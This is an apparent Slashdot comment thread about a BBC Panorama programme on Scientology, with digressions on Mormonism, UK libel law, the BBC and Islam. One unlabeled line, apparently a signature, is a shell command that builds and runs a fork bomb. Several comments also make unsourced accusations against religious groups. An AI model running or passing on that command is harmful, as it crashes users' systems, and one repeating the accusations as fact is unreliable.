Which is not to say they don't "deserve" it -- Scientology is quite the heinous creation -- but at this stage it's nothing more than shooting fish in barrels. Scientology was blown wide open by the Time Magazine exposé in the early 90s... after it had already been eviscerated by the IRS and FBI in the 70s and 80s. Dozens of critical documentaries and interviews hit the airwaves in the wake of the FBI raid. Then, the alt.religion.scientology debacle in the mid-90s put several hundred nails in the coffin, as far as Internet exposure goes.
Doing a Scientology-bashing documentary these days is like criticizing Michael Jackson for being weird. It's not thought-provoking, and it isn't really informing anyone, regardless of how fundamentally true it might be.
Wrong. The difference between a cult and a religion is that you can leave a religion. The Church of Scientology disconnects its members from their families so they have nowhere to go when they leave, and brainwashes them under hypnosis to keep them from wanting to. The Church of Scientology is also the only "religion" to keep its core beliefs secret, to be run for profit,
All very true--though your definition of cult is interesting. I would define a cult as an organisation that requires its adherents to place it at the centre of their lives, bar nothing. Given that definition, I would argue that most (all?) religions aspire to be cults, and that cults are the most successful of religions. But then, I would also argue that religion is institutional and communicable mental illness (as they systematically undermine their adherents' ability to think rationally--a fundamental requirement and definition of sanity). Regarding your last point, however:
and to have its own paramilitary[1] and counter-intelligence[2] operations.
The Mormon Cult (Church of Jesus Christ of Latter Day Saints) also has had (and still has, in various forms) its own paramilitary and counter-intelligence operations (c.f. the "Council of Fifty" and Church Security apparatus). The CIA and FBI have in the past recruited heavily from the LDS church, something that should send chills down everyone's spine given the power those organisations wield today.
The Mormon church has been known to tap the telephones of members and ex-members trying to get free of the "faith." People have died under suspicious circumstances as recently as the 1990s. So while I agree with your characterisation of Scientology as a cult, they are by no means the only cult with its own paramilitary and counter-intelligence operations. Having said all that, Scientology is, without a doubt, at least as dangerous as the Mormon church, quite possibly more so.
The Future of Human Evolution: Autonomy
> Its a profit oriented company disguised as religion.
Is that like a "government law enforcement employee disguised as a policeman", or maybe like a "professional crop grower disguised as a farmer"?
Specifically a human sacrifice who has come of his own free will.
Thanks for dropping by. Your decision to post anonymously indicates that you are probably a scientologist sent here to astro turf.
I guess this will post will give you a discount during your next dianetics session.
First a few facts:
1. No religion in existence goes after dissenters the way the church of scientology does; yes, it is true that in some third world countries and in the middle east, turning away from islam can get you killed. But in the west and in most westernized nations, there is the rule of law and the law protects people from being targetted by proponents of their religion. But CoS is able to pervert even this system of law in western nations to target even influential dissenters via harassment, and even death.
2. Scientology is perhaps the only religion in the world where the only way to get to its "cures" is by paying a lot of money. Any other religion - Islam, Christianity etc - it is possible to become a muslim or a christian without paying any money.
3. Scientology is also the newest religion on this planet created by Ron Hubbard - a known criminal. LRH's views on using harassment as a way of quelling dissent is well documented.
4. Scientology also copyrights its "scriptures" - the only religion in the world to do that.
In short - you guys are just scamsters trying to pass off what is really a scam as a religion; scientology was created by LRH with the explicit purpose of scamming people.
This amuses me. You're welcome.
"Tu fui, ego eris" - Virgil
In a ten minute TV interview on Sunday morning, the editor of the Panorama series gives some background, including describing some of the techniques the Scientologists used to harass the BBC film crew. Transcript here
www.weird.co.uk/martin
I quite agree. However nasty the religion, it's important not to mod down its apologists. For one thing it makes the debate hard to follow.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
They apparently believe in statistics. I went into a center in Worcester MA in the late 70s to see what they would do. They gave me a not-too-long "Free Personality Test", went and scored it, then came back with the results. They showed me a line graph, with connected points (!) illustrating my score on each of about 9 things. Of course, a first question would be how can you rate 9 distinctly different attributes on one scale? You probably can't, so if you bother to look at the Y axis, you see that it was a Z-scale - or normed values. So it merely shows you where you fall in a group for each of those things, regardless of the actual units. But the really cool trick was that besides being all normed values, the Y-axis was scaled to your results' high and low, not +-3z or full scale. So they circle the lowest point, and tell you they have a course to "fix" that. Only $495 or something like that. Great! I can fix the worst thing in my life for a few hundred bucks! Sounds great! But guess what? In a scaled Y-axis, there's always going to be another "low" that magically appears, and well, shouldn't you just go and fix that one too? Repeat ad nauseum, ad bankruptcy.
"Win treats sysadmins better than users. Mac treats users better than sysadmins. Linux treats everyone like sysadmins."
So basically, the comparison is useless.
Clever signature text goes here.
Contrast this with the legal situation in the US where you could probably sue me for libel (Libel is Letters, Slander is Speech) whether you pour hot grits down your pants or not.
8 24902,00.htmln t-and-flame-groups-legal-pitfalls-with-postings/6 3/ai_53706056
Actually we in th UK have some of the most over the top libel laws in the world. Not only could that comment get you sued for libel but you would also have the following problems:
1) No legal aid - you would have to pay for your entire defence out of your own pocket. Lawyers are expensive and this alone would prbably force you to appologise.
2) They could also sue anyone who published your statement. In order to "publish" something you merely have to know you are distributing it, so either slashdot (or their) ISP would receive a standard take down notice and would have to either comply, or dive head on into a horrific (ie - expensive) legal quagmire.
I had a bit of a dig about and here are some links I found:
http://www.time.com/time/magazine/article/0,9171,
http://digital-lifestyles.info/2006/03/23/john-bu
http://findarticles.com/p/articles/mi_m1295/is_2_
The last is one is particularly relevant as it pertains to a printer being scared of a libel trial so shredding all the issues of something they were printing.
I dont read
I don't mind Liz. She's a good sort, and not at all stuck up... Bruce.
Only three things are certain; death, taxes, and apocryphal quotations - Ben Franklin.
I'm not sure it's fair to say they got fscked by the government.
For one thing, if you recall, they were right. The problem was that at the time, they couldn't prove it sufficiently to defend themselves. But history has shown that they made the right call, and it's entirely possible that they knew they were making the right call at the time but didn't back it up to avoid compromising their sources.
For another thing, although the two top guys stepped down — effectively "doing the decent thing" and taking the hit to protect everyone below them — they left with crowds of hundreds of BBC staff cheering them outside the building, and hundreds more sending them personal messages encouraging them not to go. Name me any other organisation in the world, on the same scale, where the staff publicly show that much loyalty to the guys at the top. Can't? That's why the culture at the Beeb is special in a world full of cookie-cutter journalism and commercial advertising.
Oh, and did we mention that almost all of the other staff who were directly responsible for the original reporting in that case are still working at the BBC in the same or similar roles? Just because they cut the head off, doesn't mean the rest of the beast is dead.
It's a shame they are tending toward "celebrity journalists" like Nick Robinson and Evan Davies these days. There's certainly been a lot of Blair worship in recent days, with some very rose-tinted views of the results of his ten years in power. Bring back Andrew Marr, I say!
But that's about the limit of their political compromise, even now. If it ever comes down to Hubbard vs. Paxman, I know which side I'll be betting on.
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
Morale-boosting what nows? you've got it all wrong mate, they're simply there to bring in american and japanese tourists. they bring in more stupid tourists every year than a disneyland.
It doesn't appear to me that the BBC reporter 'lost it' at all -- it seems like he's using the same shouting technique on the Scientologist that the Scientologist was trying to use on him. Shouting, appearing angry, then stopping and asking if he understands in an effort to shock your opponent into listening while at the same time appearing reasonable. I'm not saying the BBC guy wasn't angry, but it seemed like he was in control of himself. Rational but loud.
steampunk web design
Indonesia, the most populous Muslim country in the world, has been for many years a very tolerant country, where different faiths have coexisted.
The fluke bombs by extremists do not make a whole country a nest of jihadists. They are nut jobs like Timothy McVeigh or some other of that ilk.
You also have Turkey, a secular country, and Malaysia, a Muslim country that accepts diversity (you can see girls wearing mini-skirts, beauty pageants and casinos, all normally associated with non-mulsim behaviour).
And we had Iraq of course, which was a hineous dictatorship, but that can't be accussed of promoting Islamism, as anyone bothered to check the facts knew before Bush and Blair started their little crussade.
IANAL but write like a drunk one.
Did they turn down your script or something?
I want a list of atrocities done in your name - Recoil
In some ways, the BBC in the UK operates like scientology.
You have to pay them money for pretty much the rest of your life, and it's almost impossible to leave.
I guess at a stretch you could say the CoS picked a fight with an organised religion 1000 times stronger than it.
That's actually horseshit. I know this, because I have been on the receiving end of some libel action, which was thrown out because it was "Fair Comment".
the only people who have anything bad to say about it are license-dodgers who watch it anyway
I do not watch TV and do not have a license (as I do not require one to not watch TV). Regardless, I am constantly harrassed by BBC Licensing to buy a license.
Having said that I would still back them in a war against 'scientology'.
Also, as another poster said, power isn't solely dependent on raw numbers. Finally, even if its potential for damage is more limited that it was during the 70s and 80s, it's all relative, and certainly no excuse for letting it off the hook.
Apologies for another trite Slashdot analogy, but if homocides were down from 3 in 100 to 1 in 100 per year should we just shrug and say "it's not as bad as it used to be"?
"Slashdot - News and Chat Sites Deviant". (Click "homepage" link above for details).
The religions you mention don't plant cameras, get you fired, and sue you until you scream with rage and your family leaves you. Don't conflate.
Scientology isn't hated because it's a wacky religion. It's hated because it's a evil corporation masquerading as a religion. And they always make it personal. Hubbard was a paranoid, insecure, vengeful little gamer twit (yes, he was a geek -- SF writer AND wargamer, probably bad at both), and he made Scientology an expression of his ego. When you deal with a Scientology Sea Org navy member, naval uniform and all, you are dealing with the mentally ill.
And their is a difference between the cute girls taking and giving personality tests in the public orgs and the bastards who join the Sea Org, and no comparison at all with the corporate lawyers who moved in from the top and run the thing.
And religions don't keep their beliefs secret from their own members. That's the critical thing, the moral difference, all Hubbard detestation aside. They don't tell their recruits that they REALLY believe that we are infested with spirits from aliens killed by H-bombs inside of volcanoes by the evil galactic dictator Xenu, and that it will cost them either a lifetime of work or tens of thousands of dollars to find this fact out. It's not a health club, it's a UFO cult.
My measure of a valid religion is this: Can I go to the bookstore/library and obtain a copy their holy book? The book on which their entire religion is based? Can I read it and understand it for myself?
Is the basis of the 'religion' free and clear for anyone to see? Or is the "truth" hidden?
You can argue that all other religions are like this, but as I stated this is my measure. Scientology is not open for any kind of scrutiny. Even the Mormans will send me a copy of their holy book if I ask for it (for free even). Everything I can find about the inner workings of scientology is not positive. And they won't let you see the inner workings if you're not a "believer."
"The avalanch has already started, it is too late for the pebbles to vote." -Kosh
This is definitely the one thing that struck from the videos posted on Youtube. Tommy Davies was ice-cool under all situations. When he blew outside and he told Sweeney how mad he was, he was in total control. Every word he said, you could very clearly understand. There was no foaming at the mouth, no contortion of the face, nothing. There was no emotion in his face, even if the words coming out of his mouth were all about rage and justice and righteous indignation.
If there are only a few people more like him in the upper echelons of Scientology, they're gonna be around for a long time. There's a word for people like these, and it's sociopath. And judging from the success of another group of sociopaths (CEOs), I suspect we're gonna have to deal with Scientology for a long time. I wonder if it's gonna take something like what happened to the Knights Templar to deal with Scientology.
Those who can, do. Those who can't, sue.
This is why agnostics are so great. :)
Also, weak atheists don't make the positive claim that there isn't a God, so they're exempted from the circle.
++ Say to Elrond "Hello.".
Elrond says "No.". Elrond gives you some lunch.
Some websites are not good sources. The KKK is one of them, as is the one you cited.
As for the Banu Qurayza, the Jewish tribe I'm assuming you're referring to, they broke the treaty with the Medinan people and literally tried to open the city gates to the enemy. According to the story, which is contested as to whether or not it actually happened (it was in an account written a century later), they surrendered with the agreement their case would go to arbitration. The judge, Sa'd bin Mu'adh was an ally of their tribe, and ruled that according to Torah law (not Islamic law), the penalty for treason was death.
The prophet Muhammad, peace be upon him, did not "rave about Jews right up to his deathbed." They tried to assassinate him more than once, despite his granting them rights and protections. He criticized them for certain of their practices that conflicted with Jewish and Islamic monotheism, but he never gave any orders to wipe them out or anything. In an Islamic state, the government gives money to build and maintain churches and synagogues, as they are also citizens.
Muslims think that Muhammad, peace be upon him, is as peaceful as Jesus, peace be upon him, which is why it upsets them so much when he is denigrated.
There is of course not just one Greek text and any modern edition of the NT has many comments and comparisons - I have two editions and they differ in many places as to which version to choose. But compared to the Dead Sea Scrolls or the later fragments that exist of the Testaments, the NT is remarkably homogeneous. As you would expect from people for whom the exact words are sacred. In arche estin ho Logos!
Pining for the fjords
...and I am very worried by its contents. Not the reporters outbursts (which were covered, along with profuse apologies), but the behaviour of the Scientologists, who, at times, acted like some form of Gestapo, attempting to stifle debate on the issue and sending stalkers out to harras the intimidate the reporter. The show should have been on longer, and perhaps focussed more on the contorversial anti-psychiatrist angle, and those families isolated from their loved ones by Scientology practises. Freedom of speech is one thing, but this cult should be closed down.
My web domain.